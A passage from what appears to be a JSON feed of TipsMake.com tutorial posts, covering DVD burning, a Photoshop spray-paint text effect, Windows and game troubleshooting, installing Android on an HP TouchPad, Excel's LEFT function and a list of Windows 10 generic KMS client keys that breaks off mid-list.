on your computer. Either using the Start Menu then click Computer or click on the folder icon on the taskbar.[3]\n  Burn the ISO to the DVD. Right click on the ISO file to bring up a menu, then click on \"Burn disc image.\" In the new window, select the drive that contains the blank DVD. Click on \"Burn\" to burn the ISO to the DVD. If you do not see the option in the menu, right click on the ISO then click on \"Properties\" Change the \"Opens with\" option to Explorer by clicking the \"Change\" button then select Windows Explorer from the list.   Micah Soto Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufpcZusNWdZJ2ho5jAbrvNraZmmV2lsG6tzZ1km62io3qiec2ermacppk%3D\n","link":"/post/how-to-copy-dvd-discs-onto-a-pc-and-burn-a-new-dvd/","section":"post","tags":null,"title":"How to Copy DVD Discs onto a PC and Burn a New DVD"},{"body":"Today's article will help readers learn how to create paint spray text effects in Photoshop, with letters drawn on the background! This step-by-step guide applies to Photoshop CC and earlier versions.\nToday, TipsMake.com will show you how to create a simple spray paint text effect in which letters look like they are sprayed on walls or surfaces. This trick also includes mixing the sprayed text with the background for a more realistic look. And because we only use layer effects and Photoshop blending options , the text can still be edited even when the effect is done.\nThe tutorial will use Photoshop CC 2019 but every recent version also applies. Below is an example of what the paint spray text effect would look like. Of course, users can use any text, background and colors they like:\n  Add paint effect to photos How to create paint spraying text in Photoshop Step 1: Open the wallpaper Step 2: Add text Step 3: Resize and reposition text with Free Transform Step 4: Lower the Type layer's Fill value to 0% Step 5: Add the Drop Shadow layer effect to the Type layer Step 6: Reset the Drop Shadow settings to default Step 7: Change the color of Drop Shadow to white Step 8: Change the Blend Mode of the Drop Shadow to Screen Step 9: Increase the Drop Opacity of Drop Shadow to 100% Step 10: Set the Distance and Spread to 0% Step 11: Increase the size of Drop Shadow Step 12: Change Contour to Cone Step 13: Uncheck \"Layer Knocks Out Drop Shadow\" Step 14: Adjust the Size value if needed Step 15: Add Noise  How to mix text with spray effect with the background Step 16: Open Photoshop's Blending Options Step 17: Drag the \"Underlying Layer\" slider in black to the right Step 18: Divide the black slider in half Step 19: Adjust the sliders to create a smooth transition Step 20: Close the Layer Style dialog box  How to copy spray paint text effect? Step 21: Create a copy for the Type layer Step 22: Select the Move tool Step 23: Move the text to the right position  How to edit text with paint spray effect Step 24: Select the Type tool Step 25: Select and edit text Step 26: Change the edited text size with Free Transform  How to change paint colors Step 27: Double-click the Drop Shadow layer effect Step 28: Click on the color swatch Step 29: Select a new color from the Color Picker  How to create paint spraying text in Photoshop We will start by learning how to create the main paint effect, and then how to blend the letters with the background. The article will also show you how to duplicate the effect to add text to the design and how to change the paint color.\nStep 1: Open the wallpaper Because we will spray text on some types of backgrounds, start by opening the background image. The example will use this image from Adobe Stock (stock.adobe.com/images/black-brick-wall-texture-brick-surface-as-background/142590964):\n  And in the Layers panel , the reader will see an image on the Background layer :\n  \nStep 2: Add text To add text, select the Type Tool from the Photoshop toolbar (Toolbar):\n  Select the font\nAnd then in the Options Bar, select the font. For example will use \" HWT Gothic Round \" download from Adobe Typekit. If you don't have access to this font, that's fine. You can choose any font:\n  Other options for the text section\nIn the Options Bar, we will set the font size to 72pt (the current largest size) and align the text to the center.\nFor color, for example, select white by clicking on the color swatch and selecting white from Photoshop's Color Picker . This is not the color that will be used for painting effects. All that is needed now is something that allows you to easily view the text when adding it to the background:\n  Add text\nThen click on the document and add the desired text. The example will enter the word \"PAINT\":\n  \nAccept the text\nTo accept it, click the check mark in the Options Bar:\n  \nStep 3: Resize and reposition text with Free Transform To change the text size and move it to the correct position, go to the Edit menu in Menu Bar and choose Free Transform:\n  \nSelect the Free Transform command in Photoshop\nAnd then to change the text size, click and drag any handle at any corner. Since Photoshop CC 2019, the frame rate of the text will automatically remain the same when the user drags the handle. In previous versions of Photoshop, users need to hold down the Shift key while dragging the aspect ratio.\nTo change the text size, press and hold the Alt (Win) / Options (Mac) key when dragging. And if you need to reposition the text, click inside the Free Transform box and drag the text into place.\nTo accept the added text and exit Free Transform, press Enter (Win) / Return (Mac) on the keyboard:\n  Step 4: Lower the Type layer's Fill value to 0% In the Layers panel , users will see the text on a new Type layer above the image:\n  To create a paint effect, make the text transparent. You lower =\u0026gt; reduce the Fill value at the top right of the panel down to 0%. Make sure you are reducing the correct Fill value , not the Opacity value :\n  \nThe text will not be visible, but it is still there, it is only transparent:\n  What is the difference between Opacity and Fill?\nIn the Layers panel , both Opacity and Fill values ​​affect the transparency of the layer. The difference between them is that Opacity controls the transparency of both the content of a layer and any layer effects you have applied. On the other hand, Fill only affects the content of a layer. It has no effect on layer effects.\nThis means that by lowering the Fill value , we can apply layer effects to the text and keep the effects displayed even if the text itself is hidden. And this is the factor that creates the spray effect.\nStep 5: Add the Drop Shadow layer effect to the Type layer The entire paint effect can be created using effects for a single layer, and what we need is Drop Shadow. With the Type layer selected, click the Layer Style icon ( \"fx\" icon ) at the bottom of the Layers panel :\n  \nAnd then select Drop Shadow:\n  \nStep 6: Reset the Drop Shadow settings to default In the Layer Style dialog box, click the Reset to Default button to restore the default Drop Shadow settings:\n  Step 7: Change the color of Drop Shadow to white Then change the color of Drop Shadow by clicking on the color swatch:\n  And in Color Picker, select white and then click OK. We will choose different colors to create the following effect:\n  Step 8: Change the Blend Mode of the Drop Shadow to Screen To see white, change Drop Shadow's Blend mode from Multiply (default blending mode) to Screen:\n  \nAnd immediately, the user will begin to see white appear behind the letters:\n  Step 9: Increase the Drop Opacity of Drop Shadow to 100% To make the effect brighter, increase the Drop Shadow 's opacity to 100%:\n  \nAnd now the effect will be easier to see. By changing the color of Drop Shadow from black to white and changing its Blend mode from Multiply to Screen.\n  \nStep 10: Set the Distance and Spread to 0% Ignore Angle and Use Global Light options because they are not important here. But take the Distance to 0px and make sure the Spread is set to 0%:\n  \nBy setting the Distance to 0px, we have centered the drop shadow behind the text, creating a blurred outline or stroke around the letters:\n  Step 11: Increase the size of Drop Shadow To stretch the shadow (or light in this case) further from the edges, increase the value Size:\n  \nThe more the value of Size increases , the wider the light portion appears:\n  Step 12: Change Contour to Cone At this point, the effect so far is not the same as paint spraying. The light needs to look like a border around the shape of the letters.\nTo fix that, still in the Layer Style dialog box , go to the Quality section , click the small arrow next to the Contour preview thumbnail :\n  \nAnd then select Cone contour (conical contour) by double clicking on its thumbnail. It's in the top row, second from the left:\n  Contours affect the transparency of the shadow area, change the way and where it changes from blur to transparent area. And immediately, users will see a much clearer line around the edges of the letters:\n  Step 13: Uncheck \"Layer Knocks Out Drop Shadow\" But note that the text is transparent, so the light only appears around (outside) the letters. Need to make the light appear inside the letters too.\nTo fix that, uncheck the Layer Knocks Out Drop Shadow option :\n  And now the outline will appear both outside and inside the text:\n  Step 14: Adjust the Size value if needed At this point, the user may need to go back and adjust the Size value to change the thickness of the border. Do not increase too high as this will spread the light too far. The exact size will depend on the text size.\nIn the case of this example, we will use the Size value around 120px, but this value may vary depending on the specific case:\n  And this is the result:\n  Step 15: Add Noise Finally, adding some noise (Noise in photography is a phenomenon of noise, which occurs when taking photos in low-light environments) into the outline by increasing the Noise value . The example will set this value at about 25-30%:\n  \nAnd now, if you zoom in, you'll see small spots in the outline, making it look like a spray paint effect.\nDepending on the size of the font in use, users may notice some hard edges blurred along the areas where the effect and background intersect. In this screenshot, readers can see them inside the letters \"P\" and \"A\". These edges will disappear after we blend the text with the background, that's what we'll do next:\n  How to mix text with spray effect with the background At this point, we have completed the Drop Shadow layer effect. Now learn how to blend the effect with the background, to make the text as it really is sprayed on the background, not just put text on the background. When done, the article will show you how to copy the effect to add text while maintaining the layer effects and blending options.\nStep 16: Open Photoshop's Blending Options Still in the Layer Style dialog box , select the Blending Options menu on the left:\n  Step 17: Drag the \"Underlying Layer\" slider in black to the right At the bottom of the Blending Options are two sets of sliders. The top slider has the name \"This Layer\" and the slider below is called \"Underlying Layer\". We can use these sliders to blend the text with the wallpaper. And the tool we need is Underlying Layer:\n  \nNotice the two sliders below the gradient bar. There is a black slider on the left and a white slider on the right. We will mix the text with the darkest parts of the background. And to do that, we need a black slider.\nClick on the black slider and start dragging it to the right:\n  When dragging, keep an eye on the text and you will see the darkest areas of the background begin to show through it. And the more you drag, the more clearly the background appears:\n  Step 18: Divide the black slider in half The problem is that the transition effect between text and background is difficult to handle. To create a smoother transition effect, press and hold the Alt (Win) / Option (Mac) key on the keyboard. Click on the right of the black slider and drag it to the left side. This divides the slider into two halves:\n  Step 19: Adjust the sliders to create a smooth transition The left half of the slider now controls the brightness level where the text starts appearing in front of the background. And the right half sets the brightness level so that the text is fully displayed and the background is no longer displayed through it. The area between the two sliders becomes the transition area where the text and the background are merged. The more you drag the sliders away, the better the transition effect appears.\nAdjust each half of the slider until you are satisfied with the effect. There is no specific value to use here because it will depend on the background in each case.\nIn our case, we will put the left half at the brightness level of 10 and the right half at the brightness level of 60. In other words, any area in the background image at the brightness level of 10 or darker will Completely through the text. Areas with a brightness level of 60 or more will be completely hidden by the text. And the brightness levels between (11 to 59) are where transitions are taking place:\n  And with the text now merged with the background image, we have the paint effect much more realistic:\n  Step 20: Close the Layer Style dialog box The main effect is complete, continue and close the Layer Style dialog box by clicking OK:\n  \nAnd in the Layers panel , we now see Drop Shadow listed as an effect below the Type layer . The Blending Options icon next to the \"fx\" icon indicates that there are some advanced mixing options applied to the layer:\n  How to copy spray paint text effect? At this time, adding text with the spray effect is easy.\nStep 21: Create a copy for the Type layer All you need to do is duplicate the Type layer . Just scroll down to the Add New Layer icon at the bottom of the Layers panel :\n  \nA copy of the Type layer will appear above the original, complete with the Drop Shadow effect and the blending options done:\n  Step 22: Select the Move tool To reposition text, select the Move tool from the Toolbar:\n  Step 23: Move the text to the right position Then click on the text and move it to the right position. We will drag the copy of the text up:\n  Then, in the Layers panel , click on the original Type layer to select it:\n  And drag the original text below:\n  How to edit text with paint spray effect Because the text is still editable, users can easily edit the text and keep the spray effect intact.\nStep 24: Select the Type tool If you don't want both texts to be the same, edit the text at the top. Select the Type tool from the Toolbar:\n  Step 25: Select and edit text Then, double click inside the word to highlight the word:\n  And change the word \"PAINT\" to \"SPRAY\":\n  \nTo accept it, click the check mark in the Options Bar:\n  \nStep 26: Change the edited text size with Free Transform Change the top text size by going to the Edit menu and selecting Free Transform:\n  \nAnd then drag the handle in the top corner to change the size of the word, so that it has the same width as from the bottom. To accept it, press Enter (Win) / Return (Mac) on the keyboard:\n  How to change paint colors And finally, see how to change the color of the effect.\nStep 27: Double-click the Drop Shadow layer effect To change the color of the spray paint, double-click the \"Drop Shadow\" text below the Type layer . If you have more than one Type layer, make sure to double-click the correct layer.\nIn the example case, we will start with the word \"SPRAY\" at the beginning:\n  Step 28: Click on the color swatch This opens the Layer Style dialog box again . Click on the color swatch:\n  Step 29: Select a new color from the Color Picker And then in Color Picker, choose a new color. We will choose a lighter color, such as yellow:\n  Click OK to close the Color Picker, and then click OK to close the Layer Style dialog box . And now the text above will be yellow:\n  Change the color of the text below\nThe example will do the same thing with the text below. Double click on the words \"Drop Shadow\" to reopen the Layer Style dialog box :\n  \nReopen the Drop Shadow layer effect for the word \"PAINT\".\nAnd then click on the color swatch:\n  And choose a new color from Color Picker. For the text below, choose a light color, like red pink:\n  Click OK again to close the Color Picker, and then click OK to close the Layer Style dialog box .\nAnd here, after adding color to both words, the end result will be as follows:\n  Hope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYysp6uZqWK9orXNrWSenpaasLV5yKdkqaCfqby0tM6p\n","link":"/post/how-to-create-spray-paint-effect-in-photoshop/","section":"post","tags":null,"title":"How to create spray paint effect in Photoshop"},{"body":"There are quite a lot of reflected players encounter black screen status when playing League of Legends game. When accessing the game to login under full screen mode, the game screen suddenly becomes dark and cannot continue to access as usual. Currently there are many games on Garena that encounter this phenomenon. The cause may be due to the game screen size, which is the League of Legends bigger than the resolution of the computer. So how to fix black screen error playing League of Legends?\nInstructions to fix black screen error LOL Method 1: Fix errors with key combinations\nWhen you get a black screen error on League of Legends, press Alt + Enter to fix this error. At that time the game screen will switch to window mode. Such a black screen error is caused by the computer not being able to play in full screen mode.\nMethod 2: Replace the screen width of League of Legends game\nStep 1:\nWe will access the directory path C: LienMinhHuyenThoaiGameDataAppslolVNGameConfig .\n  Step 2:\nThen access the Config folder and open the game.cfg file with Notepad , right-click the file and select Open With\u0026gt; Notepad.\n  Step 3:\nIn the content interface on Notepad look to the line with the Height and Width to adjust the screen resolution . We will enter the new size according to the configuration of each computer. Click File to select Save to save.\nOr there is another way to fix that is to find the line WindowMode = X and then edit X into 2 and also save.\n  So you have changed the League of Legends gaming screen to match the screen resolution. The game requires a highly configurable computer. If the screen resolution does not meet the needs of the game you should play the game with the minimized window.\nIn addition to the above ways, you can Install\u0026nbsp;Driver Booster Free\u0026nbsp;and get the latest\u0026nbsp;NVIDIA, AMD, and Intel\u0026nbsp;graphics card drivers\u0026nbsp;easily then to fix black screen error on League of Legends\n    Hope this article is useful to you!\nLeague of Legends ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXqjuMCcomark6eyprqMnqmrp6JivK95y56YoK2VYrynecuenp6mlKg%3D\n","link":"/post/how-to-fix-black-screen-error-on-league-of-legends/","section":"post","tags":null,"title":"How to fix black screen error on League of Legends"},{"body":"Troubleshooting methods for KernEL SECURITY CHECK ERROR can be applied to Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1 and Windows 10.\nInstructions for troubleshooting KERNEL SECURITY CHECK ERROR error Find out about the KERNEL SECURITY CHECK ERROR error Description and identification signs The cause of the error  Fix KERNEL SECURITY CHECK ERROR error on Windows Method 1: Check the error log with Event Viewer Method 2: Run Driver Verifier Method 3: Run sfc Method 4: Clean boot Method 5: Install all pending updates  Find out about the KERNEL SECURITY CHECK ERROR error The following information is aggregated based on reports from many engineers, developers and technicians.\nDescription and identification signs The following error messages, warnings and signs are related to this error.\nErrors are often triggered when the kernel detects data errors and in most cases this error can be triggered by a USB-related problem or a corrupted driver or device.\nOn Windows 8, Windows 8.1 and Windows 10 systems, the error screen looks like this:\n  The cause of the error The most common cause for this error is a corrupted or missing system file or hardware driver. This may occur due to a read / write drive or virus attack error. If that is the case you are experiencing, scan the system files for errors and recover if needed.\nFix KERNEL SECURITY CHECK ERROR error on Windows Method 1: Check the error log with Event Viewer Using the Event Viewer tool, you can troubleshoot and identify the reason why this error occurred.\nTo access Event Viewer, follow these steps:\n1. Click Start.\n2. Enter Administrative Tools in the search box.\n3. Select Administrative Tools from the results list.\n4. Select Computer Management.\n5. Expand Event Viewer from the right side.\n6. Expand Windows logs.\n7. Select System.\n8. Check any error messages that may help determine the device or driver that has enabled this error. If you can identify a device or driver from the error list, disable that device or driver and restart the computer to check if the error appears again.\n  Method 2: Run Driver Verifier The Driver Verifier utility can check all installed drivers and help identify corrupted files and drivers. If the KERNEL SECURITY CHECK ERROR error is caused by a broken driver, the Driver Verifier tool can determine the driver with the problem.\nTo access Driver Verifier, follow these steps:\n1. Start Windows.\n2. Click Start.\n3. Enter cmd in the search box to open the Command Prompt.\n4. Right-click the Command Prompt from the search results list.\n5. select Run as Administrator .\n6. Enter the verifier in Command Prompt.\n7. Press the Enter key .\n8. Select the Create standard settings checkbox and click Next.\n9. Select Automatically select all drivers installed on this computer .\n10. Click Finish.\nTo check for specific drivers, follow these steps:\n1. Start Windows.\n2. Click Start.\n3. Enter the verifier in the search box.\n4. Select Create custom settings.\n5. Click Next.\n6. Select everything from Select individual settings from the full list . If you are running Windows 8 / 8.1, uncheck DDI compliance checking and randomized low resource simulation .\n7. Select Select driver names from a list .\n8. Click Next.\n9. From the new list, select all unlisted drivers not provided by Microsoft.\n10. Click Finish.\nThe Driver Verifier tool will now run in the background and save any error logs if the KERNEL SECURITY CHECK ERROR error reappears. If an error occurs, open the log to troubleshoot the driver.\n  Method 3: Run sfc On Windows Vista and Windows 7, you can use the built-in Windows SFC tool (System file checker) to automatically scan a system file on your computer and fix them if needed.\nHere are the steps to run SFC:\n1. Boot from the Windows installation disc.\n2. Click Repair your computer after selecting the appropriate language, time, and keyboard input.\n3. Select the Windows installation drive, usually C: and click Next.\n4. Select Command Prompt when the System Recovery Options box appears.\n5. Enter the following command and press Enter:\nsfc /scannow /offbootdir=D: /offwindir=D:Windows  Replace D: with the driver character where Windows is installed and D: Windows with the Windows folder location.\nThe following is an example of the result after the sfc.exe scan process is complete and the missing files are successfully restored:\n  Method 4: Clean boot Clean boot Windows will allow to fix the KERNEL SECURITY CHECK ERROR error, which appears due to a third-party device or driver that you have recently installed.\nTo clean up the Windows XP, Vista or 7 boot system, refer to the article: How to perform Clean Boot on Windows 10/8/7 to know how to perform the details.\n  Method 5: Install all pending updates Ensure the Automatic Updates option is enabled and you have installed the latest updates for your system.\nFollow these steps:\n1. Windows Vista or Windows 7 users can enter 'update' in the search box to open Windows Updates. Windows 8 users can open Charm Bar by pressing Windows + C key, then go to Settings\u0026gt; Change PC Settings .\n2. Click Update and Recovery .\n3. Click Choose how updates updates get installed .\n4. Select Install updates automatically in the Important updates section .\n5. Click the Give me recommended check boxes for updates of the same way I receive important updates in Recommended updates section .\n6. Click OK.\n  \nWishing you a successful fix!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXqssdGnnKVlo5qwtr7IrbBmm5iasKx5xKupqKpdnrtuw8inm6ivow%3D%3D\n","link":"/post/how-to-fix-kernel-security-check-error-in-windows/","section":"post","tags":null,"title":"How to fix KERNEL SECURITY CHECK ERROR in Windows"},{"body":"TipsMake.com - HP TouchPad is considered a failure of HP. The webOS platform seems to be unfamiliar and above all, the application's poorness makes users less interested in it. But, for anyone who has \"owned\" this device, there is a solution. The article will guide users how to install Android 4.0, Ice Cream Sandwich operating system on this tablet.\nBenefits from Android Currently the HP TouchPad can run the latest version of Android OS with simple installation steps. Installing Android means users will have more applications to choose from Google Play (more than 450,000 applications) instead of narrowing in HP App Catalog (about 10,000 applications).\nIn addition, using the installation method below will allow installing Android next to webOS, so you can return to using webOS whenever you need it.\nLimit There are a few limitations when installing Android on HP TouchPad. First, you'll notice there's very little storage space after using Android for a short time, mainly because the tablet has two operating systems installed at the same time and due to some sharing tasks like email.\nOf course, switching back and forth between the two operating systems requires you to restart the computer. This can be frustrating when you need to use a certain OS more quickly.\nMoreover, the built-in camera on the TouchPad will not work on Android. You must return to webOS if you need to use it.\nPreparation steps Before installing Android on the HP TouchPad, users first need to make sure the device is fully charged and do not connect the tablet to the PC until instructed.\nClick here to download the standard Android build, created by Robo13 member from Google share .\nAfter downloading, unzip the ZIP file and open the folder. There will be 7 files in the directory.\n  Before continuing, download and install the latest Java version on your computer. Click here to check and download the version.\nIn the unzipped folder, double-click UniversalNovacomInstaller.jar , a Java-based tool that allows the PC to communicate with HP TouchPad.\nThe tool detects the operating system and displays a button. Click Install Novacom to continue.\nClick Download to get the latest drivers.\nAfter the download is complete, a change notification appears. Close the Novacom message and dialog box.\n  Next, copy 2 files: ACMEInstaller2 and ACMEUninstaller from the unzipped folder into C: Program FilesPalm, Inc. Now, we can connect HP TouchPad to the computer via USB. On the TouchPad screen, select USB Drive from the dialog box that appears. In case you do not see the dialog box appear even though you have followed the instructions correctly, close all windows. If it still doesn't work, restart the computer.\nOpen My Computer , find the HP TouchPad drive and open the contents.\nClick New Folder and name the folder cminstall (in lowercase). Open this folder and copy the following files in the original unzipped folder:\ngapps-ics-20120317-signed.zip\nmoboot_0.3.5 update-cm-9-20120329-NIGHTLY-tenderloin-signed.zip update-cwm_tenderloin-1012.zip\n  Once completed, turn off the HP TouchPad, then right-click the HP TouchPad drive to select the Eject from the context menu. This is to securely separate the device from the computer.\nInstall Android on HP TouchPad Although the HP TouchPad has been removed from Windows, devices are actually connected to the device.\nClick Start and type CMD , then press Enter to display an order entry window.\n  First of all, enter cd / to move to C:. Then, enter cd Program FilesPalm, Inc to open this folder. Enter dir to list the directory contents.\nOn TouchPad at this time, click the Launcher button, go to Settings\u0026gt; Device Info\u0026gt; Reset Options and click Restart . When the device is turned off, wait until the rotation circle icon appears, hold the volume up button next to the TouchPad until it hears the signal to connect / disconnect from Windows and the USB icon is displayed on the tablet screen. Now we are in recovery mode ( Recovery Mode ).\n  Go back to the command prompt and enter:\nnovacom boot mem: // After a few minutes, the screen will appear as shown below, with two penguins being the symbol of Linux. Please wait for this download process to finish.\n  Android configuration on HP TouchPad The tablet will eventually notice that it will restart. Then, a boot option screen appears. Moboot screen 8.3.5 allows users to choose from the following options. Use the volume button to select:\nWebOS boot. Boot CyanogenMod. Boot ClockworkMod. Boot webOS Recovery. Reboot. Shutdown. Select CyanogenMod and press the Home button on TouchPad to download Android 4.0, Ice Cream Sandwich.\nConclude The rest you have to do is wait until Android has finished downloading and set up your account. You can start browsing with Android 4.0 or access Android Market.\n  One drawback of this method is that users will not be able to use the camera in Android. If you really need this feature, the user must restart the device and choose to boot into webOS in the moboot menu.\nAbove all, this is the quick and simple method of installing Android on HP TouchPad.\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWahnqjBorjLoqWgZZGjsbO7yJ1kbWhdpLtutM9mq6itk529orA%3D\n","link":"/post/instructions-for-installing-android-4-0-on-hp-touchpad/","section":"post","tags":null,"title":"Instructions for installing Android 4.0 on HP TouchPad"},{"body":"Intel is planning to allow virus scanning tools to use their graphics chipsets to scan. This change will help improve speed and usage time on some devices. 'With Accelerated Memory Scanning , virus scanning will be done by GPU graphics processors, allowing for more scans, while reducing the impact on power speed and consumption,' said Rick Echevarria, vice president of security. confidential at Intel said. \"The first benchmark on Intel's test system showed that CPU usage dropped from 20% to 2%.\"\nIntel 's Threat Detection Technology vulnerability detection technology will be available on Intel 6, 7 and 8 processors, allowing multiple machines to take advantage by moving virus scans from the CPU to the GPU. Currently virus scanning is performed on the CPU to detect memory-based attacks, but so the machine speed will be affected.\nIntel hopes to move this activity from the CPU to the GPU, which can speed up the machine as well as reduce power consumption, especially with many machines not fully exploiting the power of the graphics card.\n  The virus scan will be transferred to Intel by GPU instead of running on CPU as before\nCurrently Intel is partnering with Microsoft to support this new feature, which will be available on the Windows Defender Advanced Thhreat Protection (ATP) this month. Intel is also working with other antivirus software vendors to apply this change.\nLast month, Intel revealed it would redesign the processor to prevent attacks like Specter.Intel Security Essentials will have Secure Boot and hardware protection for applications from being attacked. These changes are fed directly into the chip, 'minimizing the impact of security on machine speed', Intel said.\nCurrent Specter security updates, in some cases, will affect machine speed but in the future it should not be. 'When launching new products to market, we want to make sure they bring the speed that people expect,' CEL Intel Brian Krzanich said last month. 'Our goal is not only the speed but also the best security.'\nSee more:\nOverview of vulnerabilities on Intel, AMD, ARM chips: Meltdown and Specter All you need to know about mobile processors What is the CPU? ncG1vNJzZmismaXArq3KnmWcp51ktq%2FAxKVkmqScpMS0edWiqa6rXaiworrSZqanZZelwrR506hkq62eYrOiv9OeqWaZnpl6qrnPq6avnV2XrrXAxKuwZqSZm7I%3D\n","link":"/post/intel-allows-virus-scans-on-gpus-to-run-faster-and-improve-battery-life/","section":"post","tags":null,"title":"Intel allows virus scans on GPUs to run faster and improve battery life"},{"body":"WallPix - HD Wallpapers \u0026amp; Backgrounds is a high quality wallpaper download application that costs 162,000 VND on Google Play but is currently allowed by Smashicons developers to download for free in a short time. If you like to refresh the Android smartphone interface with the wallpaper, quickly follow the instructions below to download this app without spending any money before being charged again.\nHighlights of WallPix apps - HD Wallpapers \u0026amp; Backgrounds:\nProvides more than 30 theme background images including nature, city, flowers, sky, sea, universe . for users to choose. Update new, hot wallpapers on the network continuously. Users can choose to customize the wallpaper manually or automatically. Save battery and resources of the device. Minimalistic, user-friendly interface. Quality wallpaper images 720x1280, 540x960, 480x800, in the near future will have 1080x1920, 1440x2560 and 2160x3840. Photos are designed according to the screen standards of the popular Android smartphones today such as Samsung, Sony, LG, Lenovo, Xiaomi, HTC, ASUS, Alcatel, Huawei, Meizu .   Some themes and templates of WallPix apps - HD Wallpapers \u0026amp; Backgrounds:\n                    Note: To be able to store images on the device, you need to grant permission for the memory access application.\nDownload link:\nWallPix - HD Wallpapers \u0026amp; Backgrounds See more:\nDownload Weather Forecast Pro, the 83,000 VND real-time weather forecast, which is free Download the reverse video creation application, Reverse Movie FX is free on the AppStore Spell Maste AR, an interesting Japanese language learning app that allows you to display objects like magic ncG1vNJzZmismaXArq3KnmWcp51ktq%2FCyK2cZqyfYrGww82lppqcXayurbjPoq9mmaCluaqvwK2gqKZdmby4usuomJ1lp5a5rbzAqZyrZaekv7W0jGpta2hgZXq3usNmmZ6hnpx6p77Eng%3D%3D\n","link":"/post/invite-to-download-wallpix-application-download-wallpaper-worth-162-000-vnd-being-free/","section":"post","tags":null,"title":"Invite to download WallPix, application download wallpaper worth 162,000 VND, being free"},{"body":"LEFT () and LEFTB () are two string-cutting functions that are used a lot in string processing with Excel spreadsheets. The LEFT () and LEFTB () functions help you cut the string to the left of the text string as quickly and efficiently as possible.\n  Many of you may not be familiar with these two string-cutting functions, let's follow the article describing the syntax and usage of LEFT () and LEFTB () in Excel below.\nDescription The LEFT () function extracts the left character part of a string and then returns one or more characters based on the number of characters you specify.\nThe LEFTB () function extracts the left character part of a string and then returns one or more characters based on the number of bytes you specify. The LEFTB () function counts 2 bytes for a character if the default language is one of the languages ​​that support DBCS (Japanese, Chinese (Simplified), Chinese (Traditional), Korean), otherwise the LEFTB () function will look like LEFT () function, counting 1 byte for each character.\nSyntax = LEFT (text, num_chars) \n= LEFTB (text, num_bytes)\nInside:\n- text: the text string you want to extract characters from.\n- num_chars: the number of characters you want LEFT () to extract.\n- num_bytes: the number of bytes you want LEFTB () to extract.\nNote - If num_chars is omitted, the LEFT () function will default to 1.\n- num_chars must be greater or equal to zero (positive integers).\n- If num_chars is greater than the length of the text, the LEFT () function will return the entire text string.\nFor example Extract the first 8 characters in the string \"TipsMake.vn\"\nYou can enter the string directly into the function formula:\n= LEFT (\"TipsMake.vn\", 8) \n  Or you can refer to the cell containing the string:\n= LEFT (B5,8)\n  The above is a very simple example for you to know how to apply LEFT () and LEFTB () functions in Excel. In addition, you can also combine LEFT () and LEFTB () functions with other functions in Excel to get the most efficiency. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kuaay02aYp5xdobKnwMFmna6mk6m2sLrSZp2uppOptrC60madqKpdmMK1wMinnmarpKe2r7PSZqCnZZWtsKa4\n","link":"/post/left-and-leftb-functions-functions-for-cutting-strings-in-excel/","section":"post","tags":null,"title":"LEFT and LEFTB functions - Functions for cutting strings in Excel"},{"body":"The default key for Microsoft Windows 10 (default key or generic key) will allow users to install any version of Windows 10 but will not activate Windows.\nUsing the default key will be useful if you want to install a certain version of Windows 10 or check the operation on a PC or virtual machine, or simply you do not have a product key and will later activate Windows later.\nThe following article will provide RTM (retail) and KMS key (default) lists for all Windows 10 versions. This is Microsoft's guide to setup KMS client.https://docs.microsoft.com/en-us/windows-server/get-started/kmsclientkeys\nKey to set up KMS client Key applies to Windows Server Semi-Annual Channel, Windows Server 2016, Windows 10 Windows Server v1803 Windows 10 v1803 Windows Server, v1709 Windows Server 2016 Windows 10, v1709 Windows 10 Windows Server 2012 R2 and Windows 8.1 Windows Server 2012 and Windows 8 Windows 7 and Windows Server 2008 R2 Windows Vista and Windows Server 2008  Key applies to Windows 10, Windows 8.1, Windows Server 2012 R2 Windows Server 2016 Windows 10 Windows Server 2012 R2 and Windows 8.1 Windows Server 2012 and Windows 8 Windows 7 and Windows Server 2008 R2 Windows Vista and Windows Server 2008  The latest Windows 10 default key Key applies to Windows Server Semi-Annual Channel, Windows Server 2016, Windows 10 Windows Server v1803 OS version KMS Client Setup KeyWindows Server Datacenter2HXDN-KRXHB-GPYC7-YCKFJ-7FVDGWindows Server StandardPTXN8-JFHJM-4WC78-MPCBR-9W4KR\nWindows 10 v1803 OS version KMS Client Setup KeyWindows 10 EducationNW6C2-QMPVW-D7KKK-3GKT6-VCFB2Windows 10 Education N2WH4N-8QGBV-H22JP-CT43Q-MDWWJWindows 10 EnterpriseNPPR9-FWDCX-D2C8J-H872K-2YT43Windows 10 GYYVX9-NTFWV-6MDM3-9PT4T-4M68BWindows 10 Enterprise G N44RPN-FTY23-9VTTB-MP9BX-T84FVWindows 10 Enterprise NDPH2V-TTNVB-4X9Q3-TJR4H-KHJW4Windows 10 ProfessionalW269N-WFGWX-YVC9B-4J6C9-T83GXWindows 10 Professional Education6TP4R-GNPTD-KYYHQ-7B7DP-J447YWindows 10 Professional Education NYVWGF-BXNMC -HTQYQ-CPQ99-66QFCWindows 10 Professional NMH37W-N47XK-V7XM9-C7227-GCQG9Windows 10 Professional WorkstationNRG8B-VKK3Q-CXVCJ-9G2XF-6Q84JWindows 10 Professional Workstation N9FNHH-K3HBT-3W4TD-6383H-6XYWF\nWindows Server, v1709 Operating system version KMS Client Setup KeyWindows Server Datacenter6Y6KB-N82V8-D8CQV-23MJW-BWTG6 Windows Server StandardDPCNP-XQFKJ-BJF7R-FRC8D-GF6G4\nWindows Server 2016 OS version KMS Client Setup KeyWindows Server 2016 DatacenterCB7KF-BWN84-R7R2Y-793K2-8XDDGWindows Server 2016 StandardWC2BQ-8NRM3-FDDYY-2BFGV-KHKQYWindows Server 2016 EssentialsJCKRF-N37P4-C2D82-9YXRT-4M63B\nWindows 10, v1709 OS version KMS Setup Client KeyWindows 10 Professional WorkstationNRG8B-VKK3Q-CXVCJ-9G2XF-6Q84JWindows 10 Professional Workstation N9FNHH-K3HBT-3W4TD-6383H-6XYWF\nWindows 10 Operating system editionKMS Client Setup KeyWindows 10 ProfessionalW269N-WFGWX-YVC9B-4J6C9-T83GXWindows 10 Professional NMH37W-N47XK-V7XM9-C7227-GCQG9Windows 10 EnterpriseNPPR9-FWDCX-D2C8J-H872K-2YT43Windows 10 Enterprise 